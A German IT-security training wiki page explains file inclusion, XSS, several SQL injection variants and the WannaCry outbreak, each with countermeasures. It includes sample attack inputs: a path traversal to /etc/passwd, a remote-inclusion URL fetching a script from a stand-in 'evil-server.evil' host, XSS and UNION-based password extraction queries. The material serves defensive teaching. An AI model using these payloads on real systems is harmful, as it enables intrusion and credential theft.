SKYTALE IT-Sicherheit Wiki
File Inclusion, Remote File Inclusion, Cross Site Scripting (XSS), SQL Injection, WannaCry, Wana Decrypt0r, WannaCrypt, ...
In diesem Wiki bzw. Nachschlagewerk erläutern wir Ihnen relevante Begriffe aus dem Fachbereich der IT-Sicherheit. Weitere und umfangreiche Informationen zu Web Application Security finden Sie in unserem Zertifikatskurs SKYTALE Certified Professional – Web Application Security.
Angriffe auf Web-Applikationen
Unerlaubtes Einbinden von vertraulichen Dateien oder Programmcode in eine Website. Expand
ÜBERBLICK
In bestimmten Fällen werden lokal auf dem Webserver liegende Dateien als Inhalt in eine Web-Applikation eingebettet, beispielsweise bei Produktdatenblättern oder Templates, die in einen vorgegebenen Rahmen eingebettet werden. Technisch werden die ausgewählten Dateien in der Regel als GET- oder POST-Parameter an die Web-Applikation übergeben.
Werden diese Parameter nicht sauber geprüft, können mitunter Dateien eingebunden werden, die für die Web-Applikation nicht vorgesehen sind - beispielsweise Systemdateien, Konfigurationsdateien, Quellcode der Applikation usw.
ÜBERPRÜFUNG IHRER WEBSITE / BEISPIEL
Die Ausnutzung der Schwachstelle ist extrem simpel. Dazu wird einfach der als Parameter übergebene Dateiname durch einen anderen ersetzt. Durch Einfügen eines ../ vor den Dateinamen kann das aktuelle Verzeichnis "verlassen" werden, und die Web-Applikation sucht ein Verzeichnis höher nach der angegebenen Datei.
Dies lässt sich auch beliebig wiederholen. Bei Unix-basierten Systemen wird beispielsweise häufig eine lange Kette von ../ genutzt, um bis auf den root-Folder "herunter" zu kommen und von dort gezielt auf Dateien im Dateisystem zuzugreifen. Eine URL mit File Inclusion-Schwachstelle könnte beispielsweise wie folgt aussehen:
http://www.verwundbare_beispielseite.de/showNews.php? file=news1.html
Der oben beschriebene Angriffsvektor sähe dann in der Praxis folgendermaßen aus:
http://www.verwundbare_beispielseite.de/showNews.php? file=../../../../../etc/passwd
Als Ergebnis wird die verwundbare Applikation die Systembenutzer aus der Datei /etc/passwdauslesen und in die Ausgabeseite einbetten.
REMOTE FILE INCLUSION
Je nach Implementierung und Programmiersprache ist es möglich, nicht nur lokal auf dem Webserver vorhandene Dateien, sondern auch Dateien auf einem eigenen Werbserver einzubinden. Damit sind einem Angreifer natürlich sämtliche Möglichkeiten offen.
Beispielsweise könnte er nun eigenen Code in der jeweiligen Programmiersprache (ASP, PHP, .Net usw.) einbinden. Oder gar eine fertige so genannte "Web Shell" wie die "c99" Shell, die zahlreiche Werkzeue für einen Angriff auf den Webserver, die zugrunde liegende Datenbank und weitere nachgelagerte Systeme bereitstellt:
http://www.verwundbare_beispielseite.de/showNews.php? file=http://evil-server.evil/commands.php
GEGENMASSNAHMEN
Auch hier gibt es unterschiedliche Ansätze. Beispielsweise könnten Zeichen wie / oder Folgen wie ../ über Blacklisting verboten bzw. ausgefiltert werden. Allerdings geht diese Lösung möglicherweise nicht weit genug.
Ebenso ist denkbar, neben dem Verzeichnis für die einzubindenden Dateien auch die jeweilige Dateiendung (wie .html) vorzugeben. Dies schränkt die Angriffsmöglichkeiten weiter, aber noch nicht vollständig, ein.
Der sicherste Ansatz ist hingegen das Whitelisting aller Optionen, d.h. dass nur vorgegebene Dateien überhaupt eingebunden werden dürfen. Jedoch ist dieser Ansatz aufwändig, wenn neue Dateien hinzukommen sollen. Ein guter, handhabbarer Kompromiss ist daher in den meisten Fällen wohl ein Whitelisting über reguläre Ausdrücke (RegEx).
ÜBERBLICK
Ein Großteil der Schwachstellen in Webapplikationen geht auf Cross Site Scripting (XSS) zurück [1]. Unter XSS versteht man eine Angriffsmethode gegen Webapplikationen, die nicht auf den Server selbst, sondern auf den Nutzer der Applikation abzielt.
XSS kann beispielsweise für Phishing-Angriffe genutzt werden, aber ebenso für den Diebstahl von Sitzungsdaten und Anmeldeinformationen in Form von Cookies.
Beim bekanntesten Typ „Reflected XSS“ muss das Opfer dazu gebracht werden, auf einen präparierten Link zu klicken. Dieser Link enthält in der Regel HTML- oder Javascript-Code. Indem der ahnungslose Anwender auf den Link klickt, schickt dessen Browser den Code an die verwundbare Webapplikation, die den Code in ihre Antwort einbettet. Der Browser des Opfers behandelt den eingeschleusten Code dann wie legitimen (Skript-)Code und führt ihn aus.
Ein weiteres Szenario ist, den Anwender auf eine manipulierte Webseite weiter zu leiten oder diese in die aktuelle Seite einzubetten.
ÜBERPRÜFUNG IHRER WEBSITE / BEISPIEL
Ein sehr griffiges Beispiel für eine XSS-Schwachstelle ist ein Suchformular in einer Webapplikation, das nach Absenden des Suchbegriffs „Ihre Suche nach »suchbegriff« lieferte folgende / keine Treffer“ anzeigt.
Wird der vom Anwender eingegebene Suchbegriff ungefiltert in die Seite eingebettet, entsteht XSS. Beispielsweise wird beim Aufruf der URL http://www.verwundbare_beispielseite.de/search.php?suchbegriff=<script>alert('Hier gibt es XSS');</script> der eingeschleuste Javascript-Code wie folgt in die Seite eingefügt:
„Ihre Suche nach <script>alert('Hier gibt es XSS');</script> lieferte folgende / keine Treffer“
Der Browser des Anwenders interpretiert den Skriptcode und führt ihn ungehindert aus - im konkreten Fall ein Popup-Fenster mit Anzeige des Texts „Hier gibt es XSS“:
Dieses Beispiel ist nicht weiter schädlich, aber der Javascript-Code könnte auch Elemente aus dem Browser des Anwenders bzw. aus der Seite auslesen, Session-Informationen aus Cookies abfragen oder dem Anwender manipulierte Inhalte vorgaukeln. Die abgegriffenen Informationen lassen sich dann per Javascript bequem an einen vom Angreifer kontrollierten Server weiterleiten.
Alles, was der User dafür tun muss, ist irgendwo auf einen manipulierten Link zu klicken - z.B. in einer Email, in einem Gästebuch oder auf einer bösartigen Webseite.
PERSISTENTES CROSS SITE SCRIPTING
Persistentes XSS funktioniert im Grunde identisch. Allerdings muss der Anwender nicht dazu gebracht werden, auf einen Link zu klicken. Vielmehr wird der XSS-Schadcode direkt fest (persistent) in die Seite bzw. in die zugrundeliegende Datenbank eingefügt. Dies kann beispielsweise bei Gästebüchern der Fall sein, in denen ungefilterter Code hochgeladen werden kann.
Eine andere Möglichkeit ist die fehlende Prüfung von Benutzernamen bei der Anzeige. Wenn ein Benutzername nicht nur aus Zeichen, sondern auch aus Skriptcode besteht und dieser 1:1 in einer Seite angezeigt wird (z.B. „Aktuell sind noch folgende Benutzer auf dieser Seite online: xxx<script>alert('xss')</script>“), reicht es aus, wenn das Opfer zufällig die Seite besucht. Dazu ist kein Klick auf einen manipulierten Link erforderlich.
Damit ist persistentes XSS als schwerwiegender einzustufen, da so selbst gut informierte und sicherheitsbewusste Anwender Opfer eines XSS-Angriffs werden können, ohne es zu merken.
GEGENMASSNAHMEN
Cross Site Scripting geschieht immer da, wo Eingaben eines Benutzers ungefiltert an den Webserver weiter gegeben und von dort wieder zurückgespiegelt werden. Es gibt also zwei mögliche Ansatzpunkte, die im Idealfall immer in Kombination zum Einsatz kommen sollten. Also in einem mehrstufigen Sicherheitsansatz / Defense in Depth.
Zum einen sollte eine Eingabefilterung oder Eingabevalidierung erfolgen. Ein Benutzername oder Gästebucheintrag sollte in der Regel keine HTML-Steuerzeichen wie < > / " usw. enthalten. Diese Zeichen sollten also nach der Eingabe von der Applikation ausgefiltert werden.
Der zweite Ansatz ist die Codierung des Ausgabestroms. Sie kann somit auch zum Einsatz kommen, wo Eingabefilterung nicht möglich ist - beispielsweise wenn die oben genannten Zeichen tatsächlich benötigt werden. Die Ausgabecodierung ersetzt diese Zeichen durch ihre HTML-Entsprechung (Stichwort „HTML Encoding“ bzw. „HTML Entities“). So wird > zu > und " zu " usw .[2]
FUSSNOTE
[1] siehe http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_exec_summary_internet_security_threat_report_xiii_04-2008.en-us.pdf
[2] siehe http://www.w3schools.com/html/html_entities.asp
Angriffe auf Datenbanken
ÜBERBLICK
Häufig verwenden Web-Applikationen eine Datenbank, um Informationen über Produkte, Personen, Preise usw. zu speichern und daraus dynamische Seiteninhalte zu generieren. Die Kommunikation zwischen der Web-Applikation und der Datenbank erfolgt in der Regel über die Sprache „SQL“ (Structured Query Language).
Bei SQL Injection Angriffen geht es darum, Anweisungen zwischen Datenbank und Web-Applikation zu manipulieren und so Informationen auszulesen oder gar zu verändern.
ÜBERPRÜFUNG IHRER WEBSITE / BEISPIEL
Damit SQL-Injection zum Tragen kommt, müssen zwei Voraussetzungen gegeben sein:
- Die Applikation setzt Datenbank-Abfragen dynamisch zusammen. Das bedeutet, dass abhängig vom aktuellen Kontext, Benutzer, Produktauswahl o.ä. eine veränderte Abfrage („SQL-Statement“) an die Datenbank gesendet wird.
- Der Anwender hat Einfluss auf die Beschaffenheit des SQL-Statements, beispielsweise über GET/POST Parameter, HTTP Request Header, Cookies usw.
Die erste Voraussetzung ist meist gegeben, um dem Anwender personifizierte oder dem Kontext angepasste Informationen anzubieten. Will sich der Anwender beispielsweise ein Produkt mit der ID 4711 ansehen, könnte ein Aufruf der Website folgendermaßen aussehen: http://www.verwundbare_beispielseite.de/show_product.php?id=4711
Die Applikation wird dann in der Datenbank nach dem Produkt mit dieser ID suchen und sich dazu sämtliche relevanten Informationen geben lassen. Dies geschieht über ein SQL SELECT Statement:
SELECT produkt_bezeichnung, produkt_beschreibung, preis, foto FROM produktTabelle WHERE id=4711
Dabei kommt die Zeichenfolge „4711“ direkt vom Benutzer. Wird nun diese Benutzereingabe ähnlich wie bei einem Cross Site Scripting Angriff nicht sauber geprüft, könnte dieser auch SQL-Steuerzeichen in die Abfrage einfügen. Daher spricht man von „Injection“.
Über diese Injection kann der Anwender nun das SQL-Statement manipulieren und so den Sinn der Abfrage verändern. Beispielsweise könnte er (vereinfacht dargestellt) ein zweites SQL-Statement anhängen und so Daten aus einer anderen Tabelle abfragen, die ebenfalls in der Seite angezeigt werden:
SELECT produkt_bezeichnung, produkt_beschreibung, preis, foto FROM produktTabelle WHERE id=0 UNION SELECT name, passwort, user_id, foto FROM userTabelle
Das Datenbanksystem wird nun diese beiden SELECTS miteinander verbinden und die gewünschten Daten aus der userTabelle auch mit ausgeben, was von der Applikation so niemals vorgesehen war.
Dieses Beispiel verdeutlicht das Schema von SQL-Injection-Angriffen vereinfacht. Es gibt in der Realität viele unterschiedliche Varianten, ein gültiges SQL-Statement zu erzeugen und so unterschiedlichste Daten aus der Datenbank abzugreifen oder gar zu manipulieren.
Es gibt noch einige Sonderformen von SQL-Injection, die auf eigenen Seiten kurz beschrieben werden, beispielsweise:
- Blind SQL Injection
- Error Based SQL Injection
GEGENMASSNAHMEN
Ähnlich wie bei Cross Site Scripting Angriffen ist die wirksamste Gegenmaßnahme die Prüfung der Eingabedaten. Wird beispielsweise eine Produkt-ID, also eine Zahl vom Anwender erwartet, sollte geprüft werden, dass diese nur aus maximal 4 Ziffern besteht und insbesondere keine Sonderzeichen enthält („White Listing“). Analog gilt diese Maßnahme bei der Eingabe von Namen, Ortsbezeichnungen, Preisen, Texten usw.
Ist ein White-Listing nicht möglich oder an einer Stelle nicht gewünscht, kann eine weitere Maßnahme zum Einsatz kommen. Die meisten Programmiersprachen bieten heutzutage so genannte Prepared Statements an, die einen impliziten Schutz gegen SQL Injection bieten. Hier wird verhindert, dass die Benutzereingabe die Logik der SQL-Abfrage verändern kann.
Eine zweite zusätzliche Maßnahme im Sinne des mehrstufigen Sicherheitsansatzes („Defense in Depth“) ist die Beschränkung der Datenbank-Berechtigungen auf das erforderliche Minimum. Benötigt eine Web-Applikation beispielsweise nur Leseberechtigungen auf die Produkt-Tabelle, aber keine Schreibrechte und vor allem keine Berechtigungen auf die User-Tabelle, sollte der Datenbank-User entsprechend eingeschränkt werden. Selbst wenn ein Angreifer dann die Logik eines SQL-Statements über SQL Injection verändern kann, kann diese Maßnahme den Schadensumfang bei einem erfolgreichen Angriff deutlich einschränken.
Sonderfall von SQL Injection, bei dem die Ausgabe nicht direkt angezeigt wird. Expand
ÜBERBLICK
Bei "normaler" SQL Injection wird dem Benutzer das Ergebnis der SQL-Abfrage in irgendeiner Form ausgegeben, z.B. die Produktbezeichnung, Preis oder Produktbeschreibung im obigen Beispiel. Blind SQL Injection hingegen liegt dann vor, wenn das Ergebnis der Abfrage für den Benutzer nicht direkt sichtbar ist. Jedoch verhält sich die Applikation je nach Ergebnis der Abfrage unterschiedlich, was der Angreifer für weitere Rückschlüsse nutzen kann.
ÜBERPRÜFUNG IHRER WEBSITE / BEISPIEL
Zur Verdeutlichung hier ein Beispiel: Die Web-Applikation fragt den Lagerbestand eines Produkts an und gibt den Status "Lieferbar" aus, wenn der Bestand größer / gleich 1 ist. In allen anderen Fällen gibt die Applikation "Nicht Lieferbar" aus (vereinfachte Darstellung in Pseudo-Code):
lagerbestand = datenbank.abfrage('SELECT lagerbestand FROM lagerTabelle WHERE produktID=' + userInput);
if (lagerbestand >= 1) writeToPage('Lieferbar'); else writeToPage('Nicht lieferbar')
Die Technik bei Blind SQL Injection besteht darin, nacheinander jeweils eine wahre Bedingung und eine falsche Bedingung an das SQL-Statement anzuhängen und die Ausgabe miteinander zu vergleichen.
Die Prüfung 1=1 ist immer wahr, wohingegen 1=0 immer falsch ist. Wird nun AND 1=1 an die Abfrage angehängt, bleibt das Endergebnis der Abfrage unverändert, ähnlich wie bei der Multiplikation einer Zahl mit 1.
Wird aber AND 1=0 an die Abfrage angehängt, wird das komplette Statement als falsch ausgewertet und es wird ein leeres Ergebnis zurückgegeben (wie das Ergebnis 0 bei der Multiplikation mit 0).
Dies hat direkte Auswirkungen auf das IF-Statement im obigen Pseudocode. Beim Anhängen von AND 1=1 wird das Ergebnis "Lieferbar" angezeigt, zumindest wenn das angefragte Produkt ursprünglich auch lieferbar war. Beim Anhängen von AND 1=0 wird hingegen "Nicht lieferbar" ausgegeben.
Auch wenn es auf den ersten Blick nicht so scheint, kann diese Tatsache nun genutzt werden, um Daten aus der Datenbank auszulesen. Man muss diese Abfrage einfach nur als WAHR/FALSCH Bedingung formulieren. Beispielsweise könnte die Abfrage lauten: Ist der erste Buchstabe der aktuellen Datenbank ein "L" ? Vereinfacht würde der angehängte Code folgendermaßen aussehen:
AND SUBSTRING ((db_name()), 1, 1) = 'L'
Ist die Bedingung wahr, wird wie oben "Lieferbar" angezeigt, ansonsten "Nicht lieferbar". So kann sich der Angreifer durch das komplette Alphabet und den kompletten Namen hangeln und die Information vollständig auslesen.
Blind SQL Injection ist aufwändiger zu konstruieren und durchzuführen als "normale" SQL Injection. Allerdings sind die Auswirkungen am Ende identisch. Darüber hinaus gibt es automatisierte Tools, die die nötigen SQL-Abfragen sehr komfortabel für den Angreifer durchführen.
TIME BASED BLIND SQL INJECTION
Erfolgt bei einer wahren und einer falschen Bedingung jeweils die gleiche Ausgabe, kann die obige Technik nicht mehr angewandt werden. Allerdings gibt es noch eine zweite Möglichkeit, die sich die Zeit zunutze macht: Time Based Blind SQL Injection.
Hier wird das SQL-Statement derart manipuliert, dass in Abhängigkeit einer Bedingung (z.B. ob der 1. Buchstabe des Datenbanknamens ein 'L' ist) eine Verzögerung ausgeführt wird. Ist die Bedingung wahr, wird die Ausführung des SQL Codes 10 Sekunden lang inne halten (hier ein Beispiel für MS SQL Server):
SELECT * FROM produktTabelle WHERE id=1; IF SUBSTRING ((db_name()), 1, 1) = 'L' WAIT FOR DELAY '00:00:10'
GEGENMASSNAHMEN
Im Wesentlichen gelten für Blind SQL Injection die gleichen Gegenmaßnahmen wie für "normale" SQL Injection.
Sonderfall von SQL Injection, in dem die gesuchten Daten in einer Fehlermeldung preisgegeben werden. Expand
ÜBERBLICK
Ähnlich wie Blind SQL Injection ist Error Based SQL Injection eine Sonderform. Hier wird ausgenutzt, dass eine Applikation Fehlermeldungen der Datenbank ungeprüft bzw. ungefiltert an den Anwender zurück liefert. In den Fehlermeldungen sind dann die Informationen aus der Datenbank enthalten, die der Angreifer auslesen möchte.
Der Begriff "Double Query SQL Injection" wird häufig synonym verwendet, da für die Technik auch zwei verschachtelte SQL-Abfragen zum Einsatz kommen können.
ÜBERPRÜFUNG IHRER WEBSITE / BEISPIEL
Prinzipiell geht es darum, zunächst eine datengetriebene Fehlermeldung in SQL zu erzeugen und diese ausgeben zu lassen. Beispielsweise kann dies mit Hilfe der GROUP BY / HAVING Klausel erfolgen. Bei einer Seite, die Produktdetails anzeigen soll, könnte das SQL-Statement folgendermaßen aussehen: SELECT * FROM produktTabelle WHERE id=<userInput> .
Wird nun durch SQL-Injection vom Angreifer eine Gruppierung über eine Spalte hinzugefügt, die jedes Mal einen anderen Wert hat (hervorgerufen durch eine Random-Funktion), führt dies zu einem Fehler:
SELECT * FROM produktTabelle WHERE id=1337 OR 1=1 GROUP BY CONCAT(@@version,FLOOR(RAND(0)*2)) HAVING MIN(0)
Diese Fehlermeldung wird (hier ein Beispiel von MySQL) von der Datenbank wie folgt zurückgegeben:
Duplicate entry '5.5.52-0+deb7u11' for key 'group_key'
Die Datenbankeversion 5.5.52-0+deb7u1 wird also innerhalb der Fehlermeldung mit ausgegeben. Die angehängte 1 stammt hier von der Random-Funktion.
Will man Error Based SQL Injection dazu nutzen, um Daten aus der Datenbank auszulesen, muss an der Stelle von @@version im obigen Beispiel eine zweite Abfrage (daher der Name "Double Query SQL Injection") eingefügt werden.
GEGENMASSNAHMEN
Im Wesentlichen gelten für Error Based SQL Injection die gleichen Gegenmaßnahmen wie für "normale" SQL Injection. Jedoch sollte zusätzlich noch die Ausgabe von Datenbank-Fehlermeldungen unterdrückt werden.
Malware-Infektionen
Wie die Krypto-Malware bzw. Ransomware "WannaCry" im Mai 2017 weltweit hunderttausende Rechner infizieren konnte. Was man daraus lernen kann (soll). Expand
WAS IST PASSIERT?
Das Geschehen lässt sich relativ knapp zusammenfassen:
- Microsoft gibt am 14.03.2017 einen Sicherheits-Patch für eine kritische Schwachstelle im Windows-Betriebssystem heraus.
- Die Hacker-Gruppe "ShadowBrokers" veröffentlicht einen Exploit zu der Schwachstelle ("EternalBlue") am 14.04.2017, der angeblich von der NSA stammt.
- Einen weiteren Monat später kommt es Mitte Mai zu einem weltweiten Ausbruch und zu hunderttausenden an Infektionen mit einem Computerwurm, der nach der Infektion Dateien auf dem Opfer-System verschlüsselt und nur gegen ein Lösegeld wieder entschlüsselt.
Die erste Infektion erfolgt dabei in der Regel per Email wie heutzutage oft zu beobachten ist. Der Anwender öffnet einen Dateianhang, der dann die eigentliche Malware startet. Ist ein System erst einmal infiziert, werden lokale Dateien verschlüsselt, und es wird dem Benutzer eine Warnmeldung angezeigt:
(Quelle: SecureList / AO Kaspersky Lab)
Die Malware fordert die Zahlung einer Lösegeldsumme per Bitcoin und infiziert dann über die Schwachstelle im SMB-Dienst weitere Systeme im lokalen Netzwerk. Der Begriff "Ransomware" (von engl. "ransom" = "Geisel") wurde daher für die "Geiselnahme" der Dateien geprägt.
WIE KONNTE DAS PASSIEREN?
Für alle, die sich mit dem Thema IT-Security beschäftigen, ist dieser Vorfall nicht unbedingt eine Überraschung. Unter dem Strich sind es immer wiederkehrende Schwachstellen, die sich in immer neuen Ausprägungen wieder finden. In diesem Fall sind es konkret:
- Mangelnde Security Awareness / Sensibilisierung der Mitarbeiter
- Nicht eingespielte Security Patches
- Fehlende Netztrennung / Netzwerksegmentierung - Dies sorgt für einen mehrstufigen Sicherheitsansatz ("Defense in depth").
WAS KANN ICH TUN?
Aktuell gibt es zwei Möglichkeiten, wovon die Zweite nur in Ausnahmefällen zum Einsatz kommen sollte:
- Einspielen der aktuellen Sicherheitsupdates - Selbst für Windows XP hat Microsoft ausnahmsweise noch einmal ein kostenloses Update herausgegeben. Für die übrigen Betriebssysteme sowieso. Installieren Sie diese umgehend, um einer Infektion vorzubeugen.
- SMBv1 deaktivieren - Sie können unter den "Windows-Features" die Funktion "Unterstützung für die SMB 1.0/CIFS-Dateifreigabe deinstallieren.
Sollte ein System bereits infiziert sein, helfen diese Maßnahmen leider nicht. Das BSI rät dennoch dazu, den Fall zu melden, um eine bessere Übersicht und Nachvollziehbarkeit des Angriffs zu erhalten. Ebenso rät das BSI in der Regel dazu, das Lösegeld nicht zu bezahlen, sondern die Dateien aus Backups wiederherzustellen.
VERWEISE UND WEITERE ARTIKEL
https://threatpost.com/leaked-nsa-exploit-spreading-ransomware-worldwide/125654/ - Sicherheitsexperten sind der Meinung, dass uns diese kritische Schwachstelle noch lange beschäftigen wird.
https://technet.microsoft.com/de-de/library/security/MS17-010 - Microsoft-Sicherheitsbulletin MS17-010 – Kritisch. Sicherheitsupdate für Microsoft Windows SMB-Server
https://www.malwaretech.com/2017/05/how-to-accidentally-stop-a-global-cyber-attacks.html - Analyse der Ransomware und vorübergehende Abschaltung bzw. Anhalten der Verbreitung "aus Versehen"
https://krebsonsecurity.com/2017/03/ransomware-for-dummies-anyone-can-do-it - Artikel, wie einfach heutzutage Ransomware mit fertigen Programmen selbst erzeugt werden kann. Mit Werbe-Video des Philadelphia Ransomware Kit
https://www.askwoody.com/2017/how-to-make-sure-you-wont-get-hit-by-wannacrywannacrypt/ - Gegenmaßnahmen und Security-Patches
https://www.heise.de/newsticker/meldung/WannaCry-Was-wir-bisher-ueber-die-Ransomware-Attacke-wissen-3713502.html - Überblick über die aktuelle Lage
https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Cyber-Sicherheit/Themen/Lagedossier_Ransomware.html - Allgemeine Hinweise zu Ransomware und möglichen Entschlüsselungs-Tools
Hinweis: Die in diesen Tutorials beschriebenen Informationen sollen Ihnen dabei helfen, Ihre eigenen Webapplikationen, Daten und Server-Systeme vor Angriffen zu schützen. Es ist verboten, fremde Applikationen und Systeme ohne vorherige Einwilligung des Eigentümers zu überprüfen oder anzugreifen!